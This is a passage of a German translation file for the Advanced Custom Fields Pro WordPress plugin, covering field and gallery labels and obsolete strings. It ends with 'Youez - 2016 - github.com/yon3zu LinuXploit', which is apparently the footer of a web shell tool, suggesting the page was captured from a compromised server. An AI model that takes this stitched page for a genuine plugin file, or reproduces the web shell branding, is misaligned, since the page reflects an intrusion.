msgstr "Eintrag hinzufügen"

# @ acf
#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "Eintrag"

# @ acf
#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "Einträge"

# @ acf
#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "{layout} löschen?"

# @ acf
#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Dieses Feld erfordert mindestens {min} {identifier}"

# @ acf
#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Diesem Feld dürfen maximal {max} {identifier} hinzugefügt werden."

# @ acf
#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Dieses Feld erfordert mindestens {min} {label} {identifier}"

# @ acf
#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Maximale {label}-Anzahl erreicht ({max} {identifier})"

# @ acf
#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} möglich (max {max})"

# @ acf
#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} erforderlich (min {min})"

# @ acf
#: pro/fields/flexible-content.php:282
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Klicke \"%s\" zum Erstellen des Layouts"

# @ acf
#: pro/fields/flexible-content.php:425
msgid "Add layout"
msgstr "Layout hinzufügen"

# @ acf
#: pro/fields/flexible-content.php:426
msgid "Remove layout"
msgstr "Layout entfernen"

#: pro/fields/flexible-content.php:427 pro/fields/repeater.php:351
msgid "Click to toggle"
msgstr "Zum Auswählen anklicken"

# @ acf
#: pro/fields/flexible-content.php:573
msgid "Reorder Layout"
msgstr "Layout sortieren"

# @ acf
#: pro/fields/flexible-content.php:573
msgid "Reorder"
msgstr "Sortieren"

# @ acf
#: pro/fields/flexible-content.php:574
msgid "Delete Layout"
msgstr "Layout löschen"

# @ acf
#: pro/fields/flexible-content.php:575
msgid "Duplicate Layout"
msgstr "Layout duplizieren"

# @ acf
#: pro/fields/flexible-content.php:576
msgid "Add New Layout"
msgstr "Neues Layout hinzufügen"

# @ acf
#: pro/fields/flexible-content.php:647
msgid "Min"
msgstr "Min"

# @ acf
#: pro/fields/flexible-content.php:660
msgid "Max"
msgstr "Max"

# @ acf
#: pro/fields/flexible-content.php:688 pro/fields/repeater.php:522
msgid "Button Label"
msgstr "Button-Beschriftung"

# @ acf
#: pro/fields/flexible-content.php:697
msgid "Minimum Layouts"
msgstr "Minimum Layouts"

# @ acf
#: pro/fields/flexible-content.php:706
msgid "Maximum Layouts"
msgstr "Maximum Layouts"

# @ acf
#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galerie"

# @ acf
#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Bild zur Galerie hinzufügen"

# @ acf
#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "Maximale Auswahl erreicht"

# @ acf
#: pro/fields/gallery.php:336
msgid "Length"
msgstr "Länge"

#: pro/fields/gallery.php:379
msgid "Caption"
msgstr "Bildunterschrift"

#: pro/fields/gallery.php:388
msgid "Alt Text"
msgstr "Alt Text"

# @ acf
#: pro/fields/gallery.php:559
msgid "Add to gallery"
msgstr "Zur Galerie hinzufügen"

# @ acf
#: pro/fields/gallery.php:563
msgid "Bulk actions"
msgstr "Massenverarbeitung"

# @ acf
#: pro/fields/gallery.php:564
msgid "Sort by date uploaded"
msgstr "Sortiere nach Upload-Datum"

# @ acf
#: pro/fields/gallery.php:565
msgid "Sort by date modified"
msgstr "Sortiere nach Änderungs-Datum"

# @ acf
#: pro/fields/gallery.php:566
msgid "Sort by title"
msgstr "Sortiere nach Titel"

# @ acf
#: pro/fields/gallery.php:567
msgid "Reverse current order"
msgstr "Aktuelle Sortierung umkehren"

# @ acf
#: pro/fields/gallery.php:585
msgid "Close"
msgstr "Schließen"

# @ acf
#: pro/fields/gallery.php:639
msgid "Minimum Selection"
msgstr "Minimale Auswahl"

# @ acf
#: pro/fields/gallery.php:648
msgid "Maximum Selection"
msgstr "Maximale Auswahl"

#: pro/fields/gallery.php:657
msgid "Insert"
msgstr "Einfügen"

#: pro/fields/gallery.php:658
msgid "Specify where new attachments are added"
msgstr "Gib an wo neue Anhänge hinzugefügt werden"

#: pro/fields/gallery.php:662
msgid "Append to the end"
msgstr "Anhängen"

#: pro/fields/gallery.php:663
msgid "Prepend to the beginning"
msgstr "Voranstellen"

# @ acf
#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Wiederholung"

# @ acf
#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Minimum der Einträge mit ({min} Reihen) erreicht"

# @ acf
#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Maximum der Einträge mit ({max} Reihen) erreicht"

# @ acf
#: pro/fields/repeater.php:396
msgid "Add row"
msgstr "Eintrag hinzufügen"

# @ acf
#: pro/fields/repeater.php:397
msgid "Remove row"
msgstr "Eintrag löschen"

# @ acf
#: pro/fields/repeater.php:445
msgid "Sub Fields"
msgstr "Wiederholungsfelder"

#: pro/fields/repeater.php:475
msgid "Collapsed"
msgstr "Zugeklappt"

#: pro/fields/repeater.php:476
msgid "Select a sub field to show when row is collapsed"
msgstr ""
"Wähle welches der Wiederholungsfelder im zugeklappten Zustand angezeigt "
"werden soll"

# @ acf
#: pro/fields/repeater.php:486
msgid "Minimum Rows"
msgstr "Minimum der Einträge"

# @ acf
#: pro/fields/repeater.php:496
msgid "Maximum Rows"
msgstr "Maximum der Einträge"

#. Plugin URI of the plugin/theme
msgid "https://www.advancedcustomfields.com/"
msgstr "https://www.advancedcustomfields.com/"

# @ acf
#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr ""
"Passe WordPress durch leistungsfähige, professionelle und zugleich intuitive "
"Felder an"

#. Author of the plugin/theme
msgid "Elliot Condon"
msgstr "Elliot Condon"

# @ acf
#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "http://www.elliotcondon.com/"

#~ msgid "Disabled"
#~ msgstr "Deaktiviert"

#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Deaktiviert <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Deaktiviert <span class=\"count\">(%s)</span>"

# @ acf
#~ msgid "'How to' guides"
#~ msgstr "Kurzanleitungen"

# @ acf
#~ msgid "Created by"
#~ msgstr "Erstellt von"

#~ msgid "Error loading update"
#~ msgstr "Fehler beim Laden der Aktualisierung"

# @ acf
#~ msgid "See what's new"
#~ msgstr "Was ist neu"

# @ acf
#~ msgid "eg. Show extra content"
#~ msgstr "z.B. Zeige zusätzliche Inhalte"

#~ msgid ""
#~ "Error validating license URL (website does not match). Please re-activate "
#~ "your license"
#~ msgstr ""
#~ "Fehler bei der Überprüfung der Lizenz-URL (Webseite stimmt nicht "
#~ "überein). Bitte reaktiviere Deine Lizenz"

# @ acf
#~ msgid "<b>Success</b>. Import tool added %s field groups: %s"
#~ msgstr "<b>Erfolgreich</b>. Der Import hat %s Feld-Gruppen hinzugefügt: %s"

# @ acf
#~ msgid ""
#~ "<b>Warning</b>. Import tool detected %s field groups already exist and "
#~ "have been ignored: %s"
#~ msgstr ""
#~ "<b>Warnung</b>. Der Import hat %s Feld-Gruppen erkannt, die schon "
#~ "vorhanden sind und diese ignoriert: %s"

# @ acf
#~ msgid "Upgrade ACF"
#~ msgstr "Aktualisiere ACF"

# @ acf
#~ msgid "Upgrade"
#~ msgstr "Aktualisieren"

# @ acf
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click “Upgrade Database”."
#~ msgstr ""
#~ "Die folgenden Seiten erfordern eine Datenbank- Aktualisierung. Markiere "
#~ "die gewünschten Seiten und klicke \\\"Aktualisiere Datenbank\\\"."

# @ acf
#~ msgid "Select"
#~ msgstr "Auswahlmenü"

# @ acf
#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr ""
#~ "<b>Verbindungsfehler</b>. Entschuldige, versuche es bitte später noch "
#~ "einmal"

# @ acf
#~ msgid "Done"
#~ msgstr "Fertig"

# @ acf
#~ msgid "Today"
#~ msgstr "Heute"

# @ acf
#~ msgid "Show a different month"
#~ msgstr "Zeige einen anderen Monat"

# @ acf
#~ msgid "See what's new in"
#~ msgstr "Neuerungen in"

# @ acf
#~ msgid "version"
#~ msgstr "Version"

#~ msgid "Upgrading data to"
#~ msgstr "Aktualisiere Daten auf"

# @ acf
#~ msgid "Return format"
#~ msgstr "Rückgabe-Format"

# @ acf
#~ msgid "uploaded to this post"
#~ msgstr "zu diesem Beitrag hochgeladen"

# @ acf
#~ msgid "File Name"
#~ msgstr "Dateiname"

# @ acf
#~ msgid "File Size"
#~ msgstr "Dateigröße"

# @ acf
#~ msgid "No File selected"
#~ msgstr "Keine Datei ausgewählt"

# @ acf
#~ msgid "License"
#~ msgstr "Lizenz"

# @ acf
#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr ""
#~ "Um die Aktualisierungs-Fähigkeit freizuschalten, trage bitte Deinen "
#~ "Lizenzschlüssel im darunterliegenden Feld ein. Solltest Du noch keinen "
#~ "Lizenzschlüssel besitzen, informiere Dich bitte hier über die"

# @ acf
#~ msgid "details & pricing"
#~ msgstr "Details und Preise."

# @ acf
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "Um die Aktualisierungen freizuschalten, trage bitte Deinen "
#~ "Lizenzschlüssel auf der <a href=\"%s\">Aktualisierungen</a>-Seite ein. "
#~ "Solltest Du noch keinen Lizenzschlüssel besitzen, informiere Dich bitte "
#~ "hier über die <a href=\"%s\">Details und Preise</a>"

# @ acf
#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields Pro"

# @ acf
#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

# @ acf
#~ msgid "elliot condon"
#~ msgstr "elliot condon"

# @ acf
#~ msgid "Drag and drop to reorder"
#~ msgstr "Mittels Drag-and-Drop die Reihenfolge ändern"

# @ acf
#~ msgid "Add new %s "
#~ msgstr "Neue %s "

# @ acf
#~ msgid "Save Options"
#~ msgstr "Optionen speichern"

#~ msgid "Sync Available"
#~ msgstr "Synchronisierung verfügbar"

# @ acf
#~ msgid ""
#~ "Please note that all text will first be passed through the wp function "
#~ msgstr ""
#~ "Bitte beachte, dass der gesamte Text zuerst durch eine WordPress Funktion "
#~ "gefiltert wird. Siehe: "

# @ acf
#~ msgid "Warning"
#~ msgstr "Warnung"

# @ acf
#~ msgid "Show Field Keys"
#~ msgstr "Zeige Feld-Schlüssel"

# @ acf
#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr ""
#~ "Felder-Gruppen werden nach diesem Wert sortiert, vom niedrigsten zum "
#~ "höchsten Wert."

# @ acf
#~ msgid "Import / Export"
#~ msgstr "Import / Export"

# @ acf
#~ msgid "Hide / Show All"
#~ msgstr "Alle Verstecken"

# @ acf
#~ msgid "5.2.6"
#~ msgstr "5.2.6"

# @ acf
#~ msgid "Sync Terms"
#~ msgstr "Einträge synchronisieren"

Youez - 2016 - github.com/yon3zu
LinuXploit